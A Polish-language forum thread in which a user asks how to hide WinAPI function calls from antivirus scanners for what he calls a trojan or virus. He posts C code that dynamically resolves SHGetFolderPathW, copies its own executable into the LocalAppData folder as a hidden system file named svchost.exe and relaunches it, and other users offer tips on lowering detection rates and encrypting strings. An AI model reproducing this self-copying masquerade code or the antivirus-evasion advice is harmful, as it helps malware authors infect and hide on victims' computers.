[WINAPI]-Maskowanie funkcji

TDK8GB

Użytkownik
Dołączył
Maj 17, 2013
Posty
105
Cześć!
Jak ukryć funkcje żeby antywirus o niej nie wiedział?
Znalazłem http://www.p-programowanie.pl/cpp/ukrywanie-funkcji-winapi/ ale to nie zmiesza całkowicie wykrywalności( w moim przypadku z 9/41 spada do 2/35).
Tych static tak dużo ,bo w czystym C nie można wrzucić zwykłej zmiennej do funkcji. :D
Kod:
void Copy(void)
{
	static wchar_t newDirectory[MAX_PATH] = L"\0";
	static wchar_t oldDirectory[MAX_PATH] = L"\0";
	const char function[] = "SHGetFolderPathW";!
	const char library[] = "Shell32.dll";
	static HANDLE hFile;
	static HANDLE hNewFile;
	static DWORD dwSize;
	static DWORD dwRead;
	static DWORD dwSaved;
	static wchar_t *File;
	static PROCESS_INFORMATION pi;
	static STARTUPINFO si;
	typedef HRESULT (WINAPI *__SHGetFolderPath)
		(
	_In_   HWND hwndOwner,
	_In_   int nFolder,
	_In_   HANDLE hToken,
	_In_   DWORD dwFlags,
	_Out_  LPWSTR pszPath
	);
    __SHGetFolderPath patH = (__SHGetFolderPath)GetProcAddress(GetModuleHandleA(library), function);
	patH(0, CSIDL_LOCAL_APPDATA, 0, 0, newDirectory);
	wcscat(newDirectory, L"\\svchost.exe");
    GetModuleFileName(0, oldDirectory, MAX_PATH);
	if(wcscmp(oldDirectory, newDirectory)!=0)
	{	
        
		hFile = CreateFile(oldDirectory, GENERIC_READ,  FILE_SHARE_READ|FILE_SHARE_WRITE, 0, OPEN_EXISTING, 0, 0);
        dwSize = GetFileSize(hFile, 0);
		File = (wchar_t*)malloc(dwSize);
		ReadFile(hFile, File, dwSize, &dwRead, 0);
		CloseHandle(hFile);
		hNewFile = CreateFile(newDirectory, GENERIC_WRITE, 0, 0, CREATE_ALWAYS, 
			FILE_ATTRIBUTE_HIDDEN|FILE_ATTRIBUTE_SYSTEM, 0);
        WriteFile( hFile, File, dwSize, &dwSaved, 0);
		CloseHandle(hNewFile);
		free(File);
		ZeroMemory(&si, sizeof(si));
        si.cb = sizeof(si);
		CreateProcess(newDirectory, 0, 0, 0, 0, 0, 0, 0, &si, &pi);
		PostQuitMessage(0);
	}
	return;
}
 

meViu

Użytkownik
Dołączył
Kwiecień 8, 2013
Posty
223
Alternatywą dla VC++ może być Code::Blocks :)
 

TDK8GB

Użytkownik
Dołączył
Maj 17, 2013
Posty
105
Aha. Szkoda, bo w c99 jest już typ bool. Mam jeszcze pytanie. Czy używanie klas, obiektów, metod, referencji wpłynie jakoś na wydajność trojana, wirusa .itp?
 

crazyferajna

Użytkownik
Dołączył
Listopad 25, 2010
Posty
144
Na pewno w jakimś (małym) stopniu wpłynie... ale czy przy tego typu oprogramowaniu ma to takie duze znaczenie?
 

D.F.

Były Moderator
Dołączył
Listopad 4, 2009
Posty
493
Wykrywalność kodu strukturalnego, proceduralnego czy obiektowego może być różna, więc warto eksperymentować :)
 

TDK8GB

Użytkownik
Dołączył
Maj 17, 2013
Posty
105
A można tak zaszyfrować zmienną z __SHGetFolderPath ,żeby funkcja CopyFile miała odszyfrowaną wartość a AV tego nie widział?
 

meViu

Użytkownik
Dołączył
Kwiecień 8, 2013
Posty
223
Przed przekazaniem argumentów do funkcji CopyFile, tak czy siak będziesz musiał odszyfrować daną zmienną, a więc na stosie(bądź stercie) będzie widniała wartość odszyfrowana, więc AV może ją zauważyć mimo wszystko.
 
Do góry Bottom